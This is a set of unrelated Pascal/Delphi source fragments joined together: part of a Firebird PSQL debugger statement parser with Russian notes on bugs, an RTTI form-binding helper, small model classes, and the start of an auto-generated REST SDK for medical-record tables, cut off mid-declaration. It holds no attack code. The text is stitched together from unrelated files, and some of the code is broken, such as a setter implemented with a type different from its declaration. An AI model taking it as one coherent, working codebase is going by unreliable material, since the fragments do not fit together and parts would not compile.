dotFunction; SetFunction; Result :=True; end else begin FVariableName := EmptyStr; raise Exception.Create('Parsing Error! Unknown statement: ' + FVariableName + ' ' + TokenScaner.Token); end; end; ///========= { if AnsiUpperCase(TokenScaner.Token) = 'END' then begin TokenScaner.MoveBack; end else if AnsiUpperCase(TokenScaner.Token) = 'BEGIN' then begin GroupStatementType := dgstSimple; OperatorType := dotEmpty; FBeginOfStatement := TokenScaner.TokenBegin; ParseChild; TokenScaner.Next; if (AnsiUpperCase(TokenScaner.Token) <> 'END') then ParsingError('END', TokenScaner.Token); FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'IF' then begin GroupStatementType := dgstCondition; OperatorType := dotEmpty; FBeginOfStatement := TokenScaner.TokenBegin; ParseConditionTo('THEN'); // FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseChild; //THEN if TokenScaner.Next then begin if (AnsiUpperCase(TokenScaner.Token) = 'ELSE') then ParseChild //ELSE else TokenScaner.MoveBack; end; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'FOR' then begin GroupStatementType := dgstForSelectCycle; OperatorType := dotSelect; FBeginOfStatement := TokenScaner.TokenBegin; ParseForSelect; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'WHILE' then begin GroupStatementType := dgstWhileCycle; OperatorType := dotEmpty; FBeginOfStatement := TokenScaner.TokenBegin; ParseConditionTo('DO'); ParseChild; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'WHEN' then begin GroupStatementType := dgstErrorHandler; OperatorType := dotEmpty; FBeginOfStatement := TokenScaner.TokenBegin; ParseConditionTo('DO', False); ParseChild; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'LEAVE' then begin GroupStatementType := dgstEmpty; OperatorType := dotLeave; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; TokenScaner.Next; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'EXIT' then begin GroupStatementType := dgstEmpty; OperatorType := dotExit; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; TokenScaner.Next; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'SUSPEND' then begin GroupStatementType := dgstEmpty; OperatorType := dotSuspend; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; TokenScaner.Next; ParseNext; Result := True; end else if AnsiUpperCase(TokenScaner.Token) = 'SELECT' then begin GroupStatementType := dgstEmpty; OperatorType := dotSelect; SetReturningStatement('INTO'); end else (* ??????? что-то проебано? if AnsiUpperCase(TokenScaner.Token) = 'SELECT' then begin FOperatorType := dotSelect; SetSimpleStatement; end else *) if AnsiUpperCase(TokenScaner.Token) = 'EXECUTE' then begin GroupStatementType := dgstEmpty; OperatorType := dotExecuteProcedure; SetReturningStatement('RETURNING_VALUES'); end else if AnsiUpperCase(TokenScaner.Token) = 'INSERT' then begin GroupStatementType := dgstEmpty; OperatorType := dotInsert; SetSimpleStatement; end else if AnsiUpperCase(TokenScaner.Token) = 'UPDATE' then begin GroupStatementType := dgstEmpty; OperatorType := dotUpdate; SetCursorStatement; end else if AnsiUpperCase(TokenScaner.Token) = 'DELETE' then begin GroupStatementType := dgstEmpty; OperatorType := dotDelete; SetCursorStatement; end else if AnsiUpperCase(TokenScaner.Token) = 'EXCEPTION' then begin GroupStatementType := dgstEmpty; OperatorType := dotException; SetSimpleStatement; end else begin GroupStatementType := dgstEmpty; OperatorType := dotExpression; FVariableName := TokenScaner.Token; TokenScaner.Next; if TokenScaner.Token = '=' then SetSimpleStatement else if TokenScaner.Token = '.' then begin TokenScaner.Next; FVariableName := '.' + TokenScaner.Token; TokenScaner.Next; if TokenScaner.Token = '=' then SetSimpleStatement else begin FVariableName := EmptyStr; raise Exception.Create('Parsing Error! Unknown statement: ' + FVariableName + ' ' + TokenScaner.Token); end end else begin FVariableName := EmptyStr; raise Exception.Create('Parsing Error! Unknown statement: ' + FVariableName + ' ' + TokenScaner.Token); end; end} end; end; procedure TibSHPSQLDebuggerStatement.ParsingError(AExpected, AFound: string); begin raise Exception.Create(Format('Parsing Error: Expected: %s, found: %s', [AExpected, AFound])); end; procedure TibSHPSQLDebuggerStatement.StatementError(AMessage: string); begin raise Exception.Create(Format('%s', [AMessage])); end; function TibSHPSQLDebuggerStatement.CopyToken(ABegin, AEnd: TPoint): string; var I: Integer; S: string; begin Result := EmptyStr; if ABegin.Y = AEnd.Y then begin Result := Copy(TokenScaner.DDLText[ABegin.Y], ABegin.X, AEnd.X - ABegin.X + 1); end else begin for I := ABegin.Y to AEnd.Y do begin if I = ABegin.Y then S := Copy(TokenScaner.DDLText[I], ABegin.X, Length(TokenScaner.DDLText[I]) - ABegin.X + 1) else if I = AEnd.Y then S := Copy(TokenScaner.DDLText[I], 1, AEnd.X) else S := TokenScaner.DDLText[I]; if Length(Result) = 0 then Result := S else Result := Result + #13#10 + S; end; end; end; procedure TibSHPSQLDebuggerStatement.ParseChild; var vStatementComponent: TComponent; vStatement: IibSHDebugStatement; begin vStatementComponent := TibSHPSQLDebuggerStatement.Create(Owner); if Supports(vStatementComponent, IibSHDebugStatement, vStatement) then begin vStatement.Processor := GetProcessor; vStatement.ParentStatement := Self as IibSHDebugStatement; if vStatement.Parse then begin AddChildStatement(vStatementComponent); if (vStatement.GroupStatementType <> dgstSimple) then DebuggerItem.StatementFound(vStatement); end else begin vStatement := nil; vStatementComponent.Free; end end else vStatementComponent.Free; end; procedure TibSHPSQLDebuggerStatement.ParseNext; var vStatementComponent: TComponent; begin // if (GetPriorStatement = nil) or // (not (GetPriorStatement.GroupStatementType in [dgstCondition, dgstForSelectCycle, dgstWhileCycle, dgstErrorHandler])) then if (GetParentStatement = nil) or (not (GetParentStatement.GroupStatementType in [dgstCondition, dgstForSelectCycle, dgstWhileCycle, dgstErrorHandler])) then begin vStatementComponent := TibSHPSQLDebuggerStatement.Create(Owner); if Supports(vStatementComponent, IibSHDebugStatement, FNextStatement) then begin FNextStatement.Processor := GetProcessor; FNextStatement.PriorStatement := Self as IibSHDebugStatement; FNextStatement.ParentStatement := ParentStatement; if not FNextStatement.Parse then begin FNextStatement := nil; vStatementComponent.Free; end else DebuggerItem.StatementFound(FNextStatement); end else vStatementComponent.Free; end; end; procedure TibSHPSQLDebuggerStatement.ParseConditionTo(AIdentifier: string; BracketsAlways: Boolean = True); var vConditionBegin: TPoint; vConditionEnd: TPoint; vOpenedBrackets, vClosedBrackets: Integer; vResultFlag: Boolean; begin if BracketsAlways then begin TokenScaner.Next; if TokenScaner.Token = '(' then vConditionBegin := TokenScaner.TokenBegin else ParsingError('(', TokenScaner.Token); vResultFlag := False; vOpenedBrackets := 1; vClosedBrackets := 0; while TokenScaner.Next do begin if TokenScaner.Token = '(' then Inc(vOpenedBrackets) else if TokenScaner.Token = ')' then Inc(vClosedBrackets); if vOpenedBrackets = vClosedBrackets then begin vConditionEnd := TokenScaner.TokenBegin; // vConditionEnd.X := vConditionEnd.X + 1; vResultFlag := True; Break; end; end; if not vResultFlag then ParsingError(')', TokenScaner.Token); FOperatorText := CopyToken(vConditionBegin, vConditionEnd); TokenScaner.Next; if AnsiUpperCase(TokenScaner.Token) <> AIdentifier then ParsingError(AIdentifier, TokenScaner.Token); end else begin TokenScaner.Next; vConditionBegin := TokenScaner.TokenBegin; vResultFlag := False; while TokenScaner.Next do if TokenScaner.UpperToken = AIdentifier then begin vResultFlag := True; vConditionEnd := TokenScaner.TokenBegin; vConditionEnd.X := vConditionEnd.X - 1; Break; end; if not vResultFlag then ParsingError(AIdentifier, TokenScaner.Token); FOperatorText := CopyToken(vConditionBegin, vConditionEnd); end end; { Не требуется, т.к. выполняется целиком ударом об пенек procedure TibSHPSQLDebuggerStatement.ParseCaseCondition; var vBegin: TPoint; vEnd: TPoint; vOpenedBrackets, vClosedBrackets: Integer; vResultFlag: Boolean; begin TokenScaner.Next; vBegin := TokenScaner.TokenBegin; if AnsiUpperCase(TokenScaner.Token) = 'WHEN' then begin FGroupStatementType := dgstSearchedCase; TokenScaner.MoveBack; ParseChild; end else begin FGroupStatementType := dgstSimpleCase; vResultFlag := False; while TokenScaner.Next do if AnsiUpperCase(TokenScaner.Token) = 'WHEN' then begin vResultFlag := True; vEnd := TokenScaner.TokenBegin; vEnd.X := vEnd.X - 1; FOperatorText := CopyToken((vBegin, vEnd); TokenScaner.MoveBack; Break; end; if not vResultFlag then ParsingError('WHEN', TokenScaner.Token); ParseChild; end; end; } procedure TibSHPSQLDebuggerStatement.ParseForSelect; type TForSelectClauses = (fcNone, fcStatement, fcInto, fcAsCursor,fcExecuteStatement); var vBegin: TPoint; vPosition: TForSelectClauses; vOperatorText, vVariablesNames: string; // vDB_KEYField, vDB_KEYParameter: string; // I: Integer; begin vPosition := fcNone; TokenScaner.Next; if TokenScaner.UpperToken <> 'SELECT' then begin if TokenScaner.UpperToken <> 'EXECUTE' then ParsingError('SELECT or EXECUTE STATEMENT', TokenScaner.Token) else begin TokenScaner.Next; if TokenScaner.UpperToken <> 'STATEMENT' then ParsingError('STATEMENT', TokenScaner.Token) else begin vPosition := fcExecuteStatement; FIsDynamicStatement:=True; TokenScaner.Next; end end end else vPosition := fcStatement; vBegin := TokenScaner.TokenBegin; while TokenScaner.Next do begin case vPosition of fcStatement,fcExecuteStatement: begin if TokenScaner.UpperToken = 'INTO' then begin vOperatorText := CopyToken(vBegin, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); vBegin := Point(TokenScaner.TokenEnd.X+1, TokenScaner.TokenEnd.Y); vPosition := fcInto; end end; fcInto: begin if TokenScaner.UpperToken = 'DO' then begin vVariablesNames := CopyToken(vBegin, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); Break; end else if TokenScaner.UpperToken = 'AS' then begin vVariablesNames := CopyToken(vBegin, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); if TokenScaner.Next and (TokenScaner.UpperToken = 'CURSOR') then vPosition := fcAsCursor else ParsingError('CURSOR', TokenScaner.Token); end end; fcAsCursor: begin FCursorName := Trim(TokenScaner.Token); if (not TokenScaner.Next) or (TokenScaner.UpperToken <> 'DO') then ParsingError('DO', TokenScaner.Token); Break; end; end; end; case vPosition of fcNone: ParsingError('FOR SELECT... statement', 'Nothing'); fcStatement,fcExecuteStatement: ParsingError('INTO', TokenScaner.Token); fcInto: begin if Length(vVariablesNames) = 0 then ParsingError('DO or AS CURSOR', TokenScaner.Token); FOperatorText := vOperatorText; vVariablesNames := CopyToken(vBegin, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); VariableName := vVariablesNames; end; fcAsCursor: begin FOperatorText:=vOperatorText+' FOR UPDATE '; VariableName := vVariablesNames; { vDB_KEYField := FormatDB_KEY(vOperatorText); vDB_KEYField := Format(' %s,', [vDB_KEYField]); System.Insert(vDB_KEYField, vOperatorText, 7); FOperatorText := vOperatorText; VariableName := vVariablesNames; I := 0; vDB_KEYParameter := Format('%s', [FCursorName]); while FVariableNames.IndexOf(AnsiUpperCase(vDB_KEYParameter)) > -1 do begin Inc(I); vDB_KEYParameter := Format('%s_%d', [FCursorName, I]); end; VariableName := ':' + vDB_KEYParameter + ', ' + VariableName;} end; end; ParseChild; end; function TibSHPSQLDebuggerStatement.FormatDB_KEY(ASQLText: string): string; var vTables: TStrings; vAlias: string; begin vTables := TStringList.Create; try AllSQLTables(ASQLText, vTables, True, True); if vTables.Count = 1 then begin vAlias := CutAlias(vTables[0]); if Length(vAlias) > 0 then Result := Format('%s.RDB$DB_KEY', [vAlias]) else Result := 'RDB$DB_KEY'; end else StatementError('Wrong cursor! More then one table found.'); finally vTables.Free; end; end; function TibSHPSQLDebuggerStatement.GetIsDynamicStatement: boolean; begin Result:=FIsDynamicStatement end; function TibSHPSQLDebuggerStatement.GetErrorHandlerStmt: IibSHDebugStatement; begin Result:=FErrorHandlerStatement end; procedure TibSHPSQLDebuggerStatement.SetErrorHandlerStmt( Value: IibSHDebugStatement); begin FErrorHandlerStatement:=Value end; function TibSHPSQLDebuggerStatement.GetLastErrorCode: TibErrorCode; begin Result:=FibErrorCode end; procedure TibSHPSQLDebuggerStatement.SetLastErrorCode(Value: TibErrorCode); begin FibErrorCode.SQLCode:=Value.SQLCode; FibErrorCode.IBErrorCode:=Value.IBErrorCode; end; end. //////////////////////////////////////////////////////////////////////////// //////////////////// 1. вложенные циклы for select ... do begin ... for select ... do begin ... if (...) then leave; end ... end !!! инструкция leave приводит к выходу из процедуры, а в Yaffil это должно работать как break в паскале //////////////////////////////////////////////////////////////////////////// //////////////////// 3. курсоры в хранимых процедурах for select ... as cursor QQQ do begin ... update ... where current of QQQ; ... end !!! на строчке current of QQQ выдается ошибка что-то типа "...курсор QQQ не определен..." //////////////////////////////////////////////////////////////////////////// //////////////////// 4. В Expert.18 не понималась функция ROWS_AFFECTED из дятла, совсем не понималась. Сейчас (в .25) компилируется, но не работает в отладчике //////////////////////////////////////////////////////////////////////////// //////////////////// CREATE PROCEDURE TEST RETURNS ( NAME VARCHAR(40)) AS declare variable A integer = -1; declare variable B integer = -1; begin for select ID from T1 into :A as cursor QQ do begin for select ID from T2 into :B as cursor QW do begin update T2 set ID = :B where current of QW; if (A=B) then leave; end end if (ROWS_AFFECTED = 1) then exit; end procedure SetCursorStatement; type TCursorStatementClauses = (ccStatement, ccWhere, ccEnd); var vPosition: TCursorStatementClauses; vEnd: TPoint; vCursorReplacement: string; begin FGroupStatementType := dgstEmpty; FBeginOfStatement := TokenScaner.TokenBegin; vPosition := ccStatement; while TokenScaner.Next do case vPosition of ccStatement: begin if TokenScaner.UpperToken = 'WHERE' then begin vPosition := ccWhere; vEnd := TokenScaner.TokenEnd; end else if TokenScaner.Token = ';' then begin FEndOfStatement := TokenScaner.TokenEnd; FOperatorText := CopyToken(FBeginOfStatement, FEndOfStatement); FEndOfStatement.X := FEndOfStatement.X + 1; Break; end; end; ccWhere: begin if TokenScaner.UpperToken = 'CURRENT' then begin if TokenScaner.Next and (TokenScaner.UpperToken = 'OF') and TokenScaner.Next then begin FCursorName := TokenScaner.Token; FOperatorText := CopyToken(FBeginOfStatement, vEnd); vCursorReplacement := FormatDB_KEY(Copy(FOperatorText, 1, Length(FOperatorText) - 5)); FOperatorText := Format('%s %s = :%s', [FOperatorText, vCursorReplacement, FCursorName]); if TokenScaner.Next and (TokenScaner.Token = ';') then FEndOfStatement := Point(TokenScaner.TokenEnd.X + 1, TokenScaner.TokenEnd.Y); Break; end else StatementError('Unexpected end of command.'); end else vPosition := ccEnd; end; ccEnd: begin if TokenScaner.Token = ';' then begin FEndOfStatement := TokenScaner.TokenEnd; FOperatorText := CopyToken(FBeginOfStatement, FEndOfStatement); FEndOfStatement.X := FEndOfStatement.X + 1; Break; end; end; end; if TokenScaner.Token <> ';' then ParsingError(';', TokenScaner.Token); ParseNext; Result := True; end;
unit UntRttiHelper; interface uses Classes, TypInfo, StdCtrls; type TFormParser = class class procedure ParseComponentToObject(component: TComponent; obj: TObject); class procedure ParseObjectToComponent(obj: TObject; component: TComponent); class procedure ParseValueToObject(obj: TObject; propName, value: string); class procedure ParseValueToCustomEdit(obj: TObject; propName: string; edit: TCustomEdit); end; implementation uses SysUtils, StrUtils; { TFormParser } class procedure TFormParser.ParseComponentToObject(component: TComponent; obj: TObject); var propName: string; value: string; prop: PPropInfo; begin propName := Trim(RightStr(component.Name, 10)); if component is TCustomEdit then ParseValueToObject(obj, propName, TCustomEdit(component).Text); end; class procedure TFormParser.ParseObjectToComponent(obj: TObject; component: TComponent); var propName: string; value: string; prop: PPropInfo; begin propName := Trim(RightStr(component.Name, 10)); if component is TCustomEdit then ParseValueToCustomEdit(obj, propName, component as TCustomEdit) end; class procedure TFormParser.ParseValueToObject(obj: TObject; propName, value: string); var classTypeInfo: PTypeInfo; prop: PPropInfo; typeName: string; begin classTypeInfo := PTypeInfo(obj.ClassInfo); prop := GetPropInfo(classTypeInfo, propName); if prop <> nil then begin case prop^.PropType^^.Kind of tkInteger, tkInt64: SetPropValue(obj, propName, value); tkChar, tkString, tkWChar, tkLString, tkWString: SetPropValue(obj, propName, value); tkVariant: SetPropValue(obj, propName, value); tkFloat: begin typeName := LowerCase(prop^.PropType^.Name); if (typeName = 'tdatetime') or (typeName = 'tdate') or (typeName = 'ttime') then SetPropValue(obj, propName, StrToFloat(value)) else SetPropValue(obj, propName, StrToFloat(value)); end; else raise Exception.Create('Tipo "' + GetEnumName(TypeInfo(TTypeKind), Ord(prop^.PropType^^.Kind)) + '" ainda não tratado'); end; end; end; class procedure TFormParser.ParseValueToCustomEdit(obj: TObject; propName: string; edit: TCustomEdit); begin end; end.
unit unModelBase; {$mode objfpc}{$H+} interface uses Classes, SysUtils; type { TModelBase } TModelBase = class private FDataAlteracao: TDateTime; FDataCadastro: TDateTime; FId: string; procedure SetDataAlteracao(AValue: TDateTime); procedure SetDataCadastro(AValue: TDateTime); procedure SetId(AValue: string); public property Id: string read FId write SetId; property DataCadastro: TDateTime read FDataCadastro write SetDataCadastro; property DataAlteracao: TDateTime read FDataAlteracao write SetDataAlteracao; end; implementation { TModelBase } procedure TModelBase.SetId(AValue: integer); begin if FId=AValue then Exit; FId:=AValue; end; procedure TModelBase.SetDataAlteracao(AValue: TDateTime); begin if FDataAlteracao=AValue then Exit; FDataAlteracao:=AValue; end; procedure TModelBase.SetDataCadastro(AValue: TDateTime); begin if FDataCadastro=AValue then Exit; FDataCadastro:=AValue; end; end.
unit FolderOrder; {$mode objfpc}{$H+} interface uses Classes, SysUtils; type TFolderOrder = class private codFolder: integer; order: integer; public constructor Create(ncodFolder: integer; norder: integer); constructor Create(folderOrder: TFolderOrder); destructor Destroy; override; function getCodFolder(): integer; procedure setCodFolder(ncodFolder: integer); function getOrder(): integer; procedure setOrder(norder: integer); end; implementation constructor TFolderOrder.Create(ncodFolder: integer; norder: integer); begin inherited Create; self.codFolder:=ncodFolder; self.order:=norder; end; constructor TFolderOrder.Create(folderOrder: TFolderOrder); begin inherited Create; self.codFolder:=folderOrder.getCodFolder(); self.order:=folderOrder.getOrder(); end; destructor TFolderOrder.Destroy; begin inherited Destroy; end; function TFolderOrder.getCodFolder(): integer; begin result:=self.codFolder; end; procedure TFolderOrder.setCodFolder(ncodFolder: integer); begin self.codFolder := ncodFolder; end; function TFolderOrder.getOrder(): integer; begin result:=self.order; end; procedure TFolderOrder.setOrder(norder: integer); begin self.order := norder; end; end.
unit AutoTablesDelphiSDK; interface uses System.SysUtils, System.Classes, System.JSON, FireDAC.Stan.Intf, System.StrUtils, FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS, FireDAC.Phys.Intf, FireDAC.DApt.Intf, Data.DB, FireDAC.Comp.DataSet, FireDAC.Comp.Client, REST.Client, REST.Backend.Endpoint, REST.Types, REST.Backend.EMSProvider, REST.Backend.ServiceComponents, REST.Backend.Providers; type TSDKClient = class(TComponent) private { Private declarations } FUserName, FPassword: String; public { Public declarations } FEMSProvider: TEMSProvider; FBackendAuth: TBackendAuth; constructor Create(AOwner: TComponent); destructor Destroy; function LoginAPI(const UserName, Password: String): Boolean; function GetAPI(const APath: String): TBytesStream; function PostAPI(const APath: String; ABytesStream: TBytesStream): TBytesStream; function DeleteAPI(const APath: String): TBytesStream; function getaddresses(Aformat: String = ''): TBytesStream; function postaddresses(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteaddresses(Aid: String; Aformat: String = ''): TBytesStream; function getamc_misc_data(Aformat: String = ''): TBytesStream; function getamendments(Aformat: String = ''): TBytesStream; function postamendments(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteamendments(Aamendment_id: String; Aformat: String = ''): TBytesStream; function getamendments_history(Aformat: String = ''): TBytesStream; function getar_activity(Aformat: String = ''): TBytesStream; function postar_activity(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletear_activity(Apid: String; Aformat: String = ''): TBytesStream; function getar_session(Aformat: String = ''): TBytesStream; function postar_session(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletear_session(Asession_id: String; Aformat: String = ''): TBytesStream; function getarray(Aformat: String = ''): TBytesStream; function getaudit_details(Aformat: String = ''): TBytesStream; function postaudit_details(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteaudit_details(Aid: String; Aformat: String = ''): TBytesStream; function getaudit_master(Aformat: String = ''): TBytesStream; function postaudit_master(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteaudit_master(Aid: String; Aformat: String = ''): TBytesStream; function getautomatic_notification(Aformat: String = ''): TBytesStream; function postautomatic_notification(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteautomatic_notification(Anotification_id: String; Aformat: String = ''): TBytesStream; function getbackground_services(Aformat: String = ''): TBytesStream; function postbackground_services(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletebackground_services(Aname: String; Aformat: String = ''): TBytesStream; function getbatchcom(Aformat: String = ''): TBytesStream; function postbatchcom(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletebatchcom(Aid: String; Aformat: String = ''): TBytesStream; function getbilling(Aformat: String = ''): TBytesStream; function postbilling(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletebilling(Aid: String; Aformat: String = ''): TBytesStream; function getcalendar_external(Aformat: String = ''): TBytesStream; function postcalendar_external(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletecalendar_external(Aid: String; Aformat: String = ''): TBytesStream; function getcategories(Aformat: String = ''): TBytesStream; function postcategories(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletecategories(Aid: String; Aformat: String = ''): TBytesStream; function getcategories_seq(Aformat: String = ''): TBytesStream; function postcategories_seq(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletecategories_seq(Aid: String; Aformat: String = ''): TBytesStream; function getcategories_to_documents(Aformat: String = ''): TBytesStream; function postcategories_to_documents(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletecategories_to_documents(Acategory_id: String; Aformat: String = ''): TBytesStream; function getccda(Aformat: String = ''): TBytesStream; function postccda(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteccda(Aid: String; Aformat: String = ''): TBytesStream; function getccda_components(Aformat: String = ''): TBytesStream; function postccda_components(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteccda_components(Accda_components_id: String; Aformat: String = ''): TBytesStream; function getccda_field_mapping(Aformat: String = ''): TBytesStream; function postccda_field_mapping(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteccda_field_mapping(Aid: String; Aformat: String = ''): TBytesStream; function getccda_sections(Aformat: String = ''): TBytesStream; function postccda_sections(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteccda_sections(Accda_sections_id: String; Aformat: String = ''): TBytesStream; function getccda_table_mapping(Aformat: String = ''): TBytesStream; function postccda_table_mapping(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteccda_table_mapping(Aid: String; Aformat: String = ''): TBytesStream; function getchart_tracker(Aformat: String = ''): TBytesStream; function postchart_tracker(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletechart_tracker(Act_pid: String; Aformat: String = ''): TBytesStream; function getclaims(Aformat: String = ''): TBytesStream; function postclaims(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteclaims(Apatient_id: String; Aformat: String = ''): TBytesStream; function getclinical_plans(Aformat: String = ''): TBytesStream; function postclinical_plans(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteclinical_plans(Aid: String; Aformat: String = ''): TBytesStream; function getclinical_plans_rules(Aformat: String = ''): TBytesStream; function postclinical_plans_rules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteclinical_plans_rules(Aplan_id: String; Aformat: String = ''): TBytesStream; function getclinical_rules(Aformat: String = ''): TBytesStream; function postclinical_rules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteclinical_rules(Aid: String; Aformat: String = ''): TBytesStream; function getclinical_rules_log(Aformat: String = ''): TBytesStream; function postclinical_rules_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteclinical_rules_log(Aid: String; Aformat: String = ''): TBytesStream; function getcode_types(Aformat: String = ''): TBytesStream; function postcode_types(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletecode_types(Act_key: String; Aformat: String = ''): TBytesStream; function getcodes(Aformat: String = ''): TBytesStream; function postcodes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletecodes(Aid: String; Aformat: String = ''): TBytesStream; function getconfig(Aformat: String = ''): TBytesStream; function postconfig(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteconfig(Aid: String; Aformat: String = ''): TBytesStream; function getconfig_seq(Aformat: String = ''): TBytesStream; function postconfig_seq(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteconfig_seq(Aid: String; Aformat: String = ''): TBytesStream; function getcustomlists(Aformat: String = ''): TBytesStream; function postcustomlists(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletecustomlists(Acl_list_slno: String; Aformat: String = ''): TBytesStream; function getdated_reminders(Aformat: String = ''): TBytesStream; function postdated_reminders(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedated_reminders(Adr_id: String; Aformat: String = ''): TBytesStream; function getdated_reminders_link(Aformat: String = ''): TBytesStream; function postdated_reminders_link(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedated_reminders_link(Adr_link_id: String; Aformat: String = ''): TBytesStream; function getdirect_message_log(Aformat: String = ''): TBytesStream; function postdirect_message_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedirect_message_log(Aid: String; Aformat: String = ''): TBytesStream; function getdocuments(Aformat: String = ''): TBytesStream; function postdocuments(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedocuments(Aid: String; Aformat: String = ''): TBytesStream; function getdocuments_legal_categories(Aformat: String = ''): TBytesStream; function postdocuments_legal_categories(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedocuments_legal_categories(Adlc_id: String; Aformat: String = ''): TBytesStream; function getdocuments_legal_detail(Aformat: String = ''): TBytesStream; function postdocuments_legal_detail(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedocuments_legal_detail(Adld_id: String; Aformat: String = ''): TBytesStream; function getdocuments_legal_master(Aformat: String = ''): TBytesStream; function postdocuments_legal_master(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedocuments_legal_master(Adlm_document_id: String; Aformat: String = ''): TBytesStream; function getdrug_inventory(Aformat: String = ''): TBytesStream; function postdrug_inventory(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedrug_inventory(Ainventory_id: String; Aformat: String = ''): TBytesStream; function getdrug_sales(Aformat: String = ''): TBytesStream; function postdrug_sales(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedrug_sales(Asale_id: String; Aformat: String = ''): TBytesStream; function getdrug_templates(Aformat: String = ''): TBytesStream; function postdrug_templates(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedrug_templates(Adrug_id: String; Aformat: String = ''): TBytesStream; function getdrugs(Aformat: String = ''): TBytesStream; function postdrugs(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletedrugs(Adrug_id: String; Aformat: String = ''): TBytesStream; function geteligibility_response(Aformat: String = ''): TBytesStream; function posteligibility_response(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteeligibility_response(Aresponse_id: String; Aformat: String = ''): TBytesStream; function geteligibility_verification(Aformat: String = ''): TBytesStream; function posteligibility_verification(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteeligibility_verification(Averification_id: String; Aformat: String = ''): TBytesStream; function getemployer_data(Aformat: String = ''): TBytesStream; function postemployer_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteemployer_data(Aid: String; Aformat: String = ''): TBytesStream; function getenc_category_map(Aformat: String = ''): TBytesStream; function geterx_drug_paid(Aformat: String = ''): TBytesStream; function posterx_drug_paid(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteerx_drug_paid(Adrugid: String; Aformat: String = ''): TBytesStream; function geterx_narcotics(Aformat: String = ''): TBytesStream; function posterx_narcotics(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteerx_narcotics(Aid: String; Aformat: String = 